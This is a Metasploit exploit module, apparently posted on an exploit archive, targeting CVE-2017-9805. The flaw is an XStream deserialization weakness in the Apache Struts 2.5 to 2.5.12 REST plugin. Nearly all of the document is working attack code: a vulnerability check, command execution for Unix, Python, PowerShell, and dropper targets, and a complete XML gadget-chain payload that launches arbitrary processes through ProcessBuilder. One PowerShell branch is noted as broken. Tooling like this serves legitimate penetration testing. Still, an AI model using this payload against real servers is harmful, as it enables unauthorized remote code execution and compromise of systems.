Apache Struts 2 REST Plugin XStream Remote Code Execution

Apache Struts versions 2.5 through 2.5.12 using the REST plugin are vulnerable to a Java deserialization attack in the XStream library.


MD5 | 6a456689db4d683f7253fa4ce925f95c

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 REST Plugin XStream RCE',
'Description' => %q{
Apache Struts versions 2.5 through 2.5.12 using the REST plugin are
vulnerable to a Java deserialization attack in the XStream library.
},
'Author' => [
'Man Yue Mo', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2017-9805'],
['URL', 'https://struts.apache.org/docs/s2-052.html'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
['URL', 'https://github.com/mbechler/marshalsec']
],
'DisclosureDate' => 'Sep 5 2017',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'python', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD
],
['Python (In-Memory)',
'Platform' => 'python',
'Arch' => ARCH_PYTHON
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64]
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
]
],
'DefaultTarget' => 0
))

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])
])
end

def check
res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'ctype' => 'application/xml',
'data' => random_crap
)

if res && res.code == 500 && res.body.include?('xstream')
CheckCode::Appears
else
CheckCode::Safe
end
end

def exploit
case target.name
when /Unix/, /Python/, /PowerShell/
execute_command(payload.encoded)
else
execute_cmdstager
end
end

def execute_command(cmd, opts = {})
case target.name
when /Unix/, /Linux/
cmd = %W{/bin/sh -c #{cmd}}
when /Python/
cmd = %W{python -c #{cmd}}
when /PowerShell/
# This shit doesn't work yet
require 'pry'; binding.pry
cmd = %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
when /Windows/
cmd = %W{cmd.exe /c #{cmd}}
end

# Encode each command argument with HTML entities
cmd.map! { |arg| Rex::Text.html_encode(arg) }

send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'ctype' => 'application/xml',
'data' => xstream_payload(cmd)
)
end

# java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO
def xstream_payload(cmd)
# XXX: <spillLength> and <read> need to be removed for Windows
<<EOF
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>#{cmd.join('</string><string>')}</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>#{random_crap}</name>
</filter>
<next class="string">#{random_crap}</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
EOF
end

def random_crap
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
end

end



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